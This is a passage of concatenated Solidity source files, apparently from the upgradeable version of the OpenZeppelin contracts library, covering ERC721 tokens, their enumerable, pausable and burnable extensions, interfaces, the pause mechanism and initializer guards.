value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../extensions/ERC721EnumerableUpgradeable.sol"; import "../extensions/ERC721BurnableUpgradeable.sol"; import "../extensions/ERC721PausableUpgradeable.sol"; import "../../../access/AccessControlEnumerableUpgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../utils/CountersUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev {ERC721} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * - token ID and URI autogeneration * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC721PresetMinterPauserAutoIdUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC721EnumerableUpgradeable, ERC721BurnableUpgradeable, ERC721PausableUpgradeable { function initialize( string memory name, string memory symbol, string memory baseTokenURI ) public virtual initializer { __ERC721PresetMinterPauserAutoId_init(name, symbol, baseTokenURI); } using CountersUpgradeable for CountersUpgradeable.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); CountersUpgradeable.Counter private _tokenIdTracker; string private _baseTokenURI; /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * Token URIs will be autogenerated based on `baseURI` and their token IDs. * See {ERC721-tokenURI}. */ function __ERC721PresetMinterPauserAutoId_init( string memory name, string memory symbol, string memory baseTokenURI ) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); __ERC721_init_unchained(name, symbol); __ERC721Enumerable_init_unchained(); __ERC721Burnable_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); __ERC721PresetMinterPauserAutoId_init_unchained(baseTokenURI); } function __ERC721PresetMinterPauserAutoId_init_unchained( string memory baseTokenURI ) internal initializer { _baseTokenURI = baseTokenURI; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * @dev Creates a new token for `to`. Its token ID will be automatically * assigned (and available on the emitted {IERC721-Transfer} event), and the token * URI autogenerated based on the base URI passed at construction. * * See {ERC721-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint"); // We cannot just use balanceOf to create the new tokenId because tokens // can be burned (destroyed), so we need a separate counter. _mint(to, _tokenIdTracker.current()); _tokenIdTracker.increment(); } /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721PausableUpgradeable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, ERC721Upgradeable, ERC721EnumerableUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../security/PausableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721PausableUpgradeable is Initializable, ERC721Upgradeable, PausableUpgradeable { function __ERC721Pausable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); } function __ERC721Pausable_init_unchained() internal initializer { } /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal initializer { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } uint256[46] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable { function __ERC721Burnable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Burnable_init_unchained(); } function __ERC721Burnable_init_unchained() internal initializer { } /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role 